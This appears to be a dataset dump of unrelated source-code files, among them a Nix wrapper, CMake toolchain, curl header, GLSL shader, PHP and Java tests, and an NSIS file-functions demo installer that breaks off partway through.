content
stringlengths 4
1.04M
| lang
stringclasses 358
values | score
int64 0
5
| repo_name
stringlengths 5
114
| repo_path
stringlengths 4
229
| repo_licenses
sequencelengths 1
8
|
---|---|---|---|---|---|
{ lib, rustPlatform, runCommand, makeWrapper, rust-analyzer-unwrapped
, pname ? "rust-analyzer"
, version ? rust-analyzer-unwrapped.version
# Use name from `RUST_SRC_PATH`
, rustSrc ? rustPlatform.rustLibSrc
}:
runCommand "${pname}-${version}" {
inherit pname version;
inherit (rust-analyzer-unwrapped) src meta;
nativeBuildInputs = [ makeWrapper ];
} ''
mkdir -p $out/bin
makeWrapper ${rust-analyzer-unwrapped}/bin/rust-analyzer $out/bin/rust-analyzer \
--set-default RUST_SRC_PATH "${rustSrc}"
''
| Nix | 3 | arjix/nixpkgs | pkgs/development/tools/rust/rust-analyzer/wrapper.nix | [
"MIT"
] |
implement
main0 () = print("Hello, world!\n")
| ATS | 3 | JStearsman/hello-worlds | examples/ATS.dats | [
"Unlicense"
] |
block content
if view.history
#model
div
p(style="color:white") 自动跳转中,请稍后。。。
.container-fluid.con
.header.row
a.navbar-brand(href="/home")
img#logo-img(src="/images/pages/base/logo.png")
.row
.col-md-6.left.center(style="padding-left:2%")
.card
div(style="display:inline-block;")
.name
h3(style="color: #00BDB5;font-weight:400;font-size:30px") 机构/学校用户
.use
p(style="color: black;font-weight:300;font-size:24px") 适合机构/学校教学使用
button.btn.btn-lg.one(style="text-transform: none;letter-spacing: 0.72px") 立即访问
div(style="display:inline-block;;overflow: hidden;margin-left:50px;")
img.photo(src="https://assets.koudashijie.com/images/redirect-coco.png")
.col-md-6.right.center(style="padding-right:2%;padding-left:0")
.card
div(style="display:inline-block;")
.name
h3(style="color: black;font-weight:400;font-size:30px") 个人用户
.use
p(style="color: black;font-weight:300;font-size:24px") 适合个人在家中学习使用
button.btn.btn-lg.two(style="text-transform: none;letter-spacing: 0.72px") 立即访问
div(style="display:inline-block;overflow:hidden;margin-left:50px;")
img.photo(src="https://assets.koudashijie.com/images/redirect-netease.png")
| Jade | 3 | cihatislamdede/codecombat | app/templates/china-bridge-view.jade | [
"CC-BY-4.0",
"MIT"
] |
set(CMAKE_SYSTEM_NAME "Linux")
set(CMAKE_C_COMPILER riscv64-unknown-linux-gnu-gcc)
set(CMAKE_CXX_COMPILER riscv64-unknown-linux-gnu-g++)
set(CMAKE_CXX_FLAGS "" CACHE STRING "")
set(CMAKE_C_FLAGS "" CACHE STRING "")
set(CMAKE_CXX_FLAGS "-static -march=rv64gcvxthead -mabi=lp64v -pthread -D__riscv_vector_071")
set(CMAKE_C_FLAGS "-static -march=rv64gcvxthead -mabi=lp64v -pthread -D__riscv_vector_071")
| CMake | 2 | xipingyan/opencv | platforms/linux/riscv64-071-gcc.toolchain.cmake | [
"Apache-2.0"
] |
#ifndef HEADER_CURL_MULTIBYTE_H
#define HEADER_CURL_MULTIBYTE_H
/***************************************************************************
* _ _ ____ _
* Project ___| | | | _ \| |
* / __| | | | |_) | |
* | (__| |_| | _ <| |___
* \___|\___/|_| \_\_____|
*
* Copyright (C) 1998 - 2021, Daniel Stenberg, <[email protected]>, et al.
*
* This software is licensed as described in the file COPYING, which
* you should have received as part of this distribution. The terms
* are also available at https://curl.se/docs/copyright.html.
*
* You may opt to use, copy, modify, merge, publish, distribute and/or sell
* copies of the Software, and permit persons to whom the Software is
* furnished to do so, under the terms of the COPYING file.
*
* This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
* KIND, either express or implied.
*
***************************************************************************/
#include "curl_setup.h"
#if defined(WIN32)
/*
* MultiByte conversions using Windows kernel32 library.
*/
wchar_t *curlx_convert_UTF8_to_wchar(const char *str_utf8);
char *curlx_convert_wchar_to_UTF8(const wchar_t *str_w);
#endif /* WIN32 */
/*
* Macros curlx_convert_UTF8_to_tchar(), curlx_convert_tchar_to_UTF8()
* and curlx_unicodefree() main purpose is to minimize the number of
* preprocessor conditional directives needed by code using these
* to differentiate UNICODE from non-UNICODE builds.
*
* In the case of a non-UNICODE build the tchar strings are char strings that
* are duplicated via strdup and remain in whatever the passed in encoding is,
* which is assumed to be UTF-8 but may be other encoding. Therefore the
* significance of the conversion functions is primarily for UNICODE builds.
*
* Allocated memory should be free'd with curlx_unicodefree().
*
* Note: Because these are curlx functions their memory usage is not tracked
* by the curl memory tracker memdebug. You'll notice that curlx function-like
* macros call free and strdup in parentheses, eg (strdup)(ptr), and that's to
* ensure that the curl memdebug override macros do not replace them.
*/
#if defined(UNICODE) && defined(WIN32)
#define curlx_convert_UTF8_to_tchar(ptr) curlx_convert_UTF8_to_wchar((ptr))
#define curlx_convert_tchar_to_UTF8(ptr) curlx_convert_wchar_to_UTF8((ptr))
typedef union {
unsigned short *tchar_ptr;
const unsigned short *const_tchar_ptr;
unsigned short *tbyte_ptr;
const unsigned short *const_tbyte_ptr;
} xcharp_u;
#else
#define curlx_convert_UTF8_to_tchar(ptr) (strdup)(ptr)
#define curlx_convert_tchar_to_UTF8(ptr) (strdup)(ptr)
typedef union {
char *tchar_ptr;
const char *const_tchar_ptr;
unsigned char *tbyte_ptr;
const unsigned char *const_tbyte_ptr;
} xcharp_u;
#endif /* UNICODE && WIN32 */
#define curlx_unicodefree(ptr) \
do { \
if(ptr) { \
(free)(ptr); \
(ptr) = NULL; \
} \
} while(0)
#endif /* HEADER_CURL_MULTIBYTE_H */
| C | 4 | Greg-Muchka/curl | lib/curl_multibyte.h | [
"curl"
] |
<?xml version="1.0"?>
<rdf:RDF xmlns="http://www.semanticweb.org/ontologies/2010/1/Ontology1265977260436.owl#"
xml:base="http://www.semanticweb.org/ontologies/2010/1/Ontology1265977260436.owl"
xmlns:owl2xml="http://www.w3.org/2006/12/owl2-xml#"
xmlns:xsd="http://www.w3.org/2001/XMLSchema#"
xmlns:rdfs="http://www.w3.org/2000/01/rdf-schema#"
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns:owl="http://www.w3.org/2002/07/owl#">
<owl:Ontology rdf:about=""/>
<!--
///////////////////////////////////////////////////////////////////////////////////////
//
// Classes
//
///////////////////////////////////////////////////////////////////////////////////////
-->
<!-- http://www.w3.org/2002/07/owl#Thing -->
<owl:Class rdf:about="http://www.w3.org/2002/07/owl#Thing">
<rdfs:comment xml:lang="en"
>line one
line two</rdfs:comment>
<rdfs:comment xml:lang="en">some "Thing"</rdfs:comment>
</owl:Class>
</rdf:RDF>
<!-- Generated by the OWL API (version 2.2.1.1138) http://owlapi.sourceforge.net -->
| Web Ontology Language | 3 | larsw/dotnetrdf | Testing/unittest/resources/json.owl | [
"MIT"
] |
#! parrot-nqp
# Copyright (C) 2011, Parrot Foundation.
pir::load_bytecode("YAML/Tiny.pbc");
pir::load_bytecode("nqp-setting.pbc");
=begin NAME
show_experimental.nqp - Show experimental features listed in api.yaml
=end NAME
=begin SYNOPSIS
parrot-nqp tools/dev/show_experimental.nqp
=end SYNOPSIS
=begin DESCRIPTION
Shows all currently experimental features. This script could be used to generate
documentation about experimental features in the future.
=end DESCRIPTION
my @yaml := YAML::Tiny.new.read_string(slurp('api.yaml'))[0];
for @yaml -> %e {
my @tags := %e<tags>;
my $note := %e<note> // '';
my $title := %e<name>;
next if any(-> $_ { $_ eq 'completed' }, @tags);
# This format is ugly, but is functional for now
say("$title\t$note") if any(-> $_ { $_ eq 'experimental' }, @tags);
}
sub any(&code, @list) {
for @list {
return 1 if &code($_);
}
0;
}
# Local Variables:
# mode: cperl
# cperl-indent-level: 4
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=perl6:
| Perl6 | 5 | winnit-myself/Wifie | tools/dev/show_experimental.nqp | [
"Artistic-2.0"
] |
# note this is a "dynamic" include, output string will be used as source
[ _registry.groups
| to_entries[]
# TODO: nicer way to skip "all" which also would override builtin all/*
| select(.key != "all")
| "def \(.key)($opts): decode(\(.key | tojson); $opts);"
, "def \(.key): decode(\(.key | tojson); {});"
] | join("\n")
| JSONiq | 3 | bbhunter/fq | pkg/interp/format_decode.jq | [
"MIT"
] |
precision mediump float;
uniform sampler2D uDepthTexture;
uniform mat4 uUvTransform;
uniform float uRawValueToMeters;
uniform float uAlpha;
varying vec2 vTexCoord;
float DepthGetMeters(in sampler2D depth_texture, in vec2 depth_uv) {
// Depth is packed into the luminance and alpha components of its texture.
// The texture is in a normalized format, storing raw values that need to be
// converted to meters.
vec2 packedDepthAndVisibility = texture2D(depth_texture, depth_uv).ra;
return dot(packedDepthAndVisibility, vec2(255.0, 256.0 * 255.0)) * uRawValueToMeters;
}
const highp float kMaxDepthInMeters = 8.0;
const float kInvalidDepthThreshold = 0.01;
vec3 TurboColormap(in float x);
// Returns a color corresponding to the depth passed in. Colors range from red
// to green to blue, where red is closest and blue is farthest.
//
// Uses Turbo color mapping:
// https://ai.googleblog.com/2019/08/turbo-improved-rainbow-colormap-for.html
vec3 DepthGetColorVisualization(in float x) {
return step(kInvalidDepthThreshold, x) * TurboColormap(x);
}
void main(void) {
vec4 texCoord = uUvTransform * vec4(vTexCoord, 0, 1);
highp float normalized_depth = clamp(
DepthGetMeters(uDepthTexture, texCoord.xy) / kMaxDepthInMeters, 0.0, 1.0);
gl_FragColor = vec4(DepthGetColorVisualization(normalized_depth), uAlpha);
}
// Insert turbo.glsl here.
| GLSL | 5 | zealoussnow/chromium | third_party/webxr_test_pages/webxr-samples/shaders/depth-api-gpu.frag | [
"BSD-3-Clause-No-Nuclear-License-2014",
"BSD-3-Clause"
] |
--TEST--
Bug #79254 (getenv() w/o arguments not showing changes)
--FILE--
<?php
$old = getenv();
var_dump(getenv("PHP_BUG_79254", true));
putenv("PHP_BUG_79254=BAR");
$new = getenv();
var_dump(array_diff($new, $old));
var_dump(getenv("PHP_BUG_79254", true));
?>
--EXPECT--
bool(false)
array(1) {
["PHP_BUG_79254"]=>
string(3) "BAR"
}
string(3) "BAR"
| PHP | 3 | thiagooak/php-src | ext/standard/tests/general_functions/bug79254.phpt | [
"PHP-3.01"
] |
package com.baeldung.time;
import org.junit.Test;
import org.mockito.MockedStatic;
import java.time.Clock;
import java.time.Instant;
import java.time.ZoneId;
import static org.assertj.core.api.Assertions.assertThat;
import static org.mockito.Mockito.mockStatic;
public class InstantUnitTest {
@Test
public void givenInstantMock_whenNow_thenGetFixedInstant() {
String instantExpected = "2014-12-22T10:15:30Z";
Clock clock = Clock.fixed(Instant.parse(instantExpected), ZoneId.of("UTC"));
Instant instant = Instant.now(clock);
try (MockedStatic<Instant> mockedStatic = mockStatic(Instant.class)) {
mockedStatic.when(Instant::now).thenReturn(instant);
Instant now = Instant.now();
assertThat(now.toString()).isEqualTo(instantExpected);
}
}
@Test
public void givenFixedClock_whenNow_thenGetFixedInstant() {
String instantExpected = "2014-12-22T10:15:30Z";
Clock clock = Clock.fixed(Instant.parse(instantExpected), ZoneId.of("UTC"));
Instant instant = Instant.now(clock);
assertThat(instant.toString()).isEqualTo(instantExpected);
}
}
| Java | 4 | DBatOWL/tutorials | core-java-modules/core-java-time-measurements/src/test/java/com/baeldung/time/InstantUnitTest.java | [
"MIT"
] |
#ifndef @(package_name)__VISIBILITY_CONTROL_H_
#define @(package_name)__VISIBILITY_CONTROL_H_
// This logic was borrowed (then namespaced) from the examples on the gcc wiki:
// https://gcc.gnu.org/wiki/Visibility
#if defined _WIN32 || defined __CYGWIN__
#ifdef __GNUC__
#define @(package_name)_EXPORT __attribute__ ((dllexport))
#define @(package_name)_IMPORT __attribute__ ((dllimport))
#else
#define @(package_name)_EXPORT __declspec(dllexport)
#define @(package_name)_IMPORT __declspec(dllimport)
#endif
#ifdef @(package_name)_BUILDING_LIBRARY
#define @(package_name)_PUBLIC @(package_name)_EXPORT
#else
#define @(package_name)_PUBLIC @(package_name)_IMPORT
#endif
#define @(package_name)_PUBLIC_TYPE @(package_name)_PUBLIC
#define @(package_name)_LOCAL
#else
#define @(package_name)_EXPORT __attribute__ ((visibility("default")))
#define @(package_name)_IMPORT
#if __GNUC__ >= 4
#define @(package_name)_PUBLIC __attribute__ ((visibility("default")))
#define @(package_name)_LOCAL __attribute__ ((visibility("hidden")))
#else
#define @(package_name)_PUBLIC
#define @(package_name)_LOCAL
#endif
#define @(package_name)_PUBLIC_TYPE
#endif
#endif // @(package_name)__VISIBILITY_CONTROL_H_
| EmberScript | 3 | sunbo57123/ros2cli_common_extension | ros2pkg/ros2pkg/resource/cpp/visibility_control.h.em | [
"Apache-2.0"
] |
;_____________________________________________________________________________
;
; File Functions
;_____________________________________________________________________________
;
; 2006 Shengalts Aleksander aka Instructor ([email protected])
Name "File Functions"
OutFile "FileFunc.exe"
Caption "$(^Name)"
XPStyle on
RequestExecutionLevel user
!include "WinMessages.nsh"
!include "FileFunc.nsh"
Var INI
Var HWND
Var STATE
Var FUNCTION
Var LOCATE1
Var LOCATE2
Var GETSIZE1
Var GETSIZE2
Var GETSIZE3
Var GETSIZE4
Var GETSIZE5
Var GETSIZE6
Var DRIVESPACE1
Var DRIVESPACE2
Var GETDRIVES1
Var GETTIME1
Var GETTIME2
Var GETFILEATTRIBUTES1
Var GETFILEATTRIBUTES2
Var GETFILEVERSION1
Var GETOPTIONS1
Var GETOPTIONS2
Var GETROOT1
Var GETPARENT1
Var GETFILENAME1
Var GETBASENAME1
Var GETFILEEXT1
Var BANNERTRIMPATH1
Var BANNERTRIMPATH2
Var DIRSTATE1
Page Custom ShowCustom LeaveCustom
Function ShowCustom
InstallOptions::initDialog "$INI"
Pop $hwnd
GetDlgItem $1 $HWND 1201
ShowWindow $1 0
GetDlgItem $1 $HWND 1202
ShowWindow $1 0
GetDlgItem $1 $HWND 1206
EnableWindow $1 0
SendMessage $1 ${WM_ENABLE} 1 0
StrCpy $LOCATE1 $DOCUMENTS
StrCpy $LOCATE2 '/L=FD /M=*.* /S=0B /G=1 /B=0'
StrCpy $GETSIZE1 '$WINDIR'
StrCpy $GETSIZE2 '/M=Explorer.exe /S=0K /G=0'
StrCpy $GETSIZE3 '$PROGRAMFILES\Common Files'
StrCpy $GETSIZE4 '/S=0M'
StrCpy $GETSIZE5 '$WINDIR'
StrCpy $GETSIZE6 '/G=0'
StrCpy $DRIVESPACE1 'C:\'
StrCpy $DRIVESPACE2 '/D=F /S=M'
StrCpy $GETDRIVES1 'FDD+CDROM'
StrCpy $GETTIME1 '$WINDIR\Explorer.exe'
StrCpy $GETTIME2 'C'
StrCpy $GETFILEATTRIBUTES1 'C:\IO.SYS'
StrCpy $GETFILEATTRIBUTES2 'ALL'
StrCpy $GETFILEVERSION1 '$WINDIR\Explorer.exe'
StrCpy $GETOPTIONS1 '/SILENT=yes /INSTDIR="$PROGRAMFILES\Common Files"'
StrCpy $GETOPTIONS2 '/INSTDIR='
StrCpy $GETROOT1 'C:\path\file.dll'
StrCpy $GETPARENT1 'C:\path\file.dll'
StrCpy $GETFILENAME1 'C:\path\file.dll'
StrCpy $GETBASENAME1 'C:\path\file.dll'
StrCpy $GETFILEEXT1 'C:\path\file.dll'
StrCpy $BANNERTRIMPATH1 'C:\Server\Documents\Terminal\license.htm'
StrCpy $BANNERTRIMPATH2 '34A'
StrCpy $DIRSTATE1 '$TEMP'
GetDlgItem $1 $HWND 1203
SendMessage $1 ${WM_SETTEXT} 1 "STR:$LOCATE1"
GetDlgItem $1 $HWND 1205
SendMessage $1 ${WM_SETTEXT} 1 "STR:$LOCATE2"
InstallOptions::show
Pop $0
FunctionEnd
Function LeaveCustom
ReadINIStr $STATE $INI "Field 1" "State"
ReadINIStr $R1 $INI "Field 2" "State"
ReadINIStr $R2 $INI "Field 3" "State"
ReadINIStr $R3 $INI "Field 4" "State"
ReadINIStr $R4 $INI "Field 5" "State"
ReadINIStr $0 $INI "Settings" "State"
StrCmp $0 6 view
StrCmp $0 0 Enter
goto main
view:
StrCpy $0 '$$'
StrCpy $1 'n'
StrCpy $2 'r'
StrCmp $R4 "LocateCallback" 0 +3
StrCpy $R0 `Function LocateCallback$\r$\n MessageBox MB_OKCANCEL '$0$$R9 "path\name"=[$$R9]$0\$1$0$$R8 "path" =[$$R8]$0\$1$0$$R7 "name" =[$$R7]$0\$1$0$$R6 "size" =[$$R6]' IDOK +2$\r$\n StrCpy $$R0 StopLocate$\r$\n$\r$\n Push $$R0$\r$\nFunctionEnd`
goto send
StrCmp $R4 "GetDrivesCallback" 0 error
StrCpy $R0 `Function GetDrivesCallback$\r$\n MessageBox MB_OKCANCEL '$0$$9 "drive letter"=[$$9]$0\$1$0$$8 "drive type" =[$$8]' IDOK +2$\r$\n StrCpy $$R0 StopGetDrives$\r$\n StrCpy $$R5 '$$R5$$9 [$$8 Drive]$$\$2$$\$1'$\r$\n$\r$\n Push $$R0$\r$\nFunctionEnd`
goto send
main:
StrCmp $FUNCTION '' DefaultSend
StrCmp $FUNCTION Locate 0 +4
StrCpy $LOCATE1 $R2
StrCpy $LOCATE2 $R3
goto DefaultSend
StrCmp $FUNCTION GetSize1 0 +4
StrCpy $GETSIZE1 $R2
StrCpy $GETSIZE2 $R3
goto DefaultSend
StrCmp $FUNCTION GetSize2 0 +4
StrCpy $GETSIZE3 $R2
StrCpy $GETSIZE4 $R3
goto DefaultSend
StrCmp $FUNCTION GetSize3 0 +4
StrCpy $GETSIZE5 $R2
StrCpy $GETSIZE6 $R3
goto DefaultSend
StrCmp $FUNCTION DriveSpace 0 +4
StrCpy $DRIVESPACE1 $R1
StrCpy $DRIVESPACE2 $R3
goto DefaultSend
StrCmp $FUNCTION GetDrives 0 +3
StrCpy $GETDRIVES1 $R1
goto DefaultSend
StrCmp $FUNCTION GetTime 0 +4
StrCpy $GETTIME1 $R1
StrCpy $GETTIME2 $R3
goto DefaultSend
StrCmp $FUNCTION GetFileAttributes 0 +4
StrCpy $GETFILEATTRIBUTES1 $R1
StrCpy $GETFILEATTRIBUTES2 $R3
goto DefaultSend
StrCmp $FUNCTION GetFileVersion 0 +3
StrCpy $GETFILEVERSION1 $R1
goto DefaultSend
StrCmp $FUNCTION GetOptions 0 +4
StrCpy $GETOPTIONS1 $R1
StrCpy $GETOPTIONS2 $R3
goto DefaultSend
StrCmp $FUNCTION GetRoot 0 +3
StrCpy $GETROOT1 $R1
goto DefaultSend
StrCmp $FUNCTION GetParent 0 +3
StrCpy $GETPARENT1 $R1
goto DefaultSend
StrCmp $FUNCTION GetFileName 0 +3
StrCpy $GETFILENAME1 $R1
goto DefaultSend
StrCmp $FUNCTION GetBaseName 0 +3
StrCpy $GETBASENAME1 $R1
goto DefaultSend
StrCmp $FUNCTION GetFileExt 0 +3
StrCpy $GETFILEEXT1 $R1
goto DefaultSend
StrCmp $FUNCTION BannerTrimPath 0 +4
StrCpy $BANNERTRIMPATH1 $R1
StrCpy $BANNERTRIMPATH2 $R3
goto DefaultSend
StrCmp $FUNCTION DirState 0 +2
StrCpy $DIRSTATE1 $R2
DefaultSend:
GetDlgItem $1 $HWND 1201
EnableWindow $1 1
ShowWindow $1 0
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $1 $HWND 1202
EnableWindow $1 1
ShowWindow $1 0
GetDlgItem $1 $HWND 1203
EnableWindow $1 1
ShowWindow $1 0
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $1 $HWND 1204
EnableWindow $1 1
ShowWindow $1 0
GetDlgItem $1 $HWND 1205
EnableWindow $1 1
GetDlgItem $1 $HWND 1206
ShowWindow $1 0
EnableWindow $1 0
GetDlgItem $1 $HWND 1207
ShowWindow $1 0
GetDlgItem $1 $HWND 1208
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $1 $HWND 1211
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
ReadINIStr $0 $INI "Field 1" "State"
StrCmp $0 " 1. Locate" 0 GetSize1Send
StrCpy $FUNCTION Locate
GetDlgItem $1 $HWND 1203
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$LOCATE1"
GetDlgItem $1 $HWND 1204
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$LOCATE2"
GetDlgItem $1 $HWND 1206
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:LocateCallback"
GetDlgItem $1 $HWND 1207
ShowWindow $1 1
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Path"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Options"
GetDlgItem $1 $HWND 1211
SendMessage $1 ${WM_SETTEXT} 1 "STR:Function"
abort
GetSize1Send:
StrCmp $0 " 2. GetSize (file)" 0 GetSize2Send
StrCpy $FUNCTION 'GetSize1'
GetDlgItem $1 $HWND 1203
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETSIZE1"
GetDlgItem $1 $HWND 1204
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETSIZE2"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:File"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Options"
Abort
GetSize2Send:
StrCmp $0 " (directory)" 0 GetSize3Send
StrCpy $FUNCTION 'GetSize2'
GetDlgItem $1 $HWND 1203
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETSIZE3"
GetDlgItem $1 $HWND 1204
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETSIZE4"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Directory"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Options"
Abort
GetSize3Send:
StrCmp $0 " (no size, no subdir)" 0 DriveSpaceSend
StrCpy $FUNCTION 'GetSize3'
GetDlgItem $1 $HWND 1203
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETSIZE5"
GetDlgItem $1 $HWND 1204
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETSIZE6"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Directory"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Options"
Abort
DriveSpaceSend:
StrCmp $0 " 3. DriveSpace" 0 GetDrivesSend
StrCpy $FUNCTION DriveSpace
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$DRIVESPACE1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
EnableWindow $1 0
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$DRIVESPACE2"
GetDlgItem $1 $HWND 1206
ShowWindow $1 0
SendMessage $1 ${WM_SETTEXT} 1 "STR:"
GetDlgItem $1 $HWND 1207
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Drive"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Options"
abort
GetDrivesSend:
StrCmp $0 " 4. GetDrives (by type)" 0 GetDrives2Send
StrCpy $FUNCTION GetDrives
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETDRIVES1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
EnableWindow $1 0
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1206
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:GetDrivesCallback"
GetDlgItem $1 $HWND 1207
ShowWindow $1 1
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Option"
GetDlgItem $1 $HWND 1211
SendMessage $1 ${WM_SETTEXT} 1 "STR:Function"
abort
GetDrives2Send:
StrCmp $0 " (all by letter)" 0 GetTime1Send
StrCpy $FUNCTION ''
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
EnableWindow $1 0
SendMessage $1 ${WM_ENABLE} 1 0
SendMessage $1 ${WM_SETTEXT} 1 "STR:ALL"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
EnableWindow $1 0
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1206
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:GetDrivesCallback"
GetDlgItem $1 $HWND 1207
ShowWindow $1 1
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Option"
GetDlgItem $1 $HWND 1211
SendMessage $1 ${WM_SETTEXT} 1 "STR:Function"
abort
GetTime1Send:
StrCmp $0 " 5. GetTime (local time)" 0 GetTime2Send
StrCpy $FUNCTION ''
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
EnableWindow $1 0
SendMessage $1 ${WM_ENABLE} 1 0
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
EnableWindow $1 0
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
EnableWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:L"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Option"
Abort
GetTime2Send:
StrCmp $0 " (file time)" 0 GetFileAttributesSend
StrCpy $FUNCTION GetTime
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETTIME1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETTIME2"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:File"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Option"
Abort
GetFileAttributesSend:
StrCmp $0 " 6. GetFileAttributes" 0 GetFileVersionSend
StrCpy $FUNCTION GetFileAttributes
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETFILEATTRIBUTES1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETFILEATTRIBUTES2"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Path"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Attrib"
Abort
GetFileVersionSend:
StrCmp $0 " 7. GetFileVersion" 0 GetCmdSend
StrCpy $FUNCTION GetFileVersion
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETFILEVERSION1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:File"
Abort
GetCmdSend:
StrCmp $0 " 8. GetExeName" +3
StrCmp $0 " 9. GetExePath" +2
StrCmp $0 "10. GetParameters" 0 GetOptionsSend
StrCpy $FUNCTION ''
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
Abort
GetOptionsSend:
StrCmp $0 "11. GetOptions" 0 GetRootSend
StrCpy $FUNCTION GetOptions
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETOPTIONS1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
EnableWindow $1 0
GetDlgItem $1 $HWND 1205
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETOPTIONS2"
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:Parameters"
GetDlgItem $1 $HWND 1210
SendMessage $1 ${WM_SETTEXT} 1 "STR:Option"
Abort
GetRootSend:
StrCmp $0 "12. GetRoot" 0 GetParentSend
StrCpy $FUNCTION GetRoot
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETROOT1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:FullPath"
Abort
GetParentSend:
StrCmp $0 "13. GetParent" 0 GetFileNameSend
StrCpy $FUNCTION GetParent
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETPARENT1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
GetDlgItem $1 $HWND 1209
SendMessage $1 ${WM_SETTEXT} 1 "STR:PathString"
Abort
GetFileNameSend:
StrCmp $0 "14. GetFileName" 0 GetBaseNameSend
StrCpy $FUNCTION GetFileName
GetDlgItem $1 $HWND 1201
ShowWindow $1 1
SendMessage $1 ${WM_SETTEXT} 1 "STR:$GETFILENAME1"
GetDlgItem $1 $HWND 1202
ShowWindow $1 1
GetDlgItem $1 $HWND 1205
ShowWindow $1 0
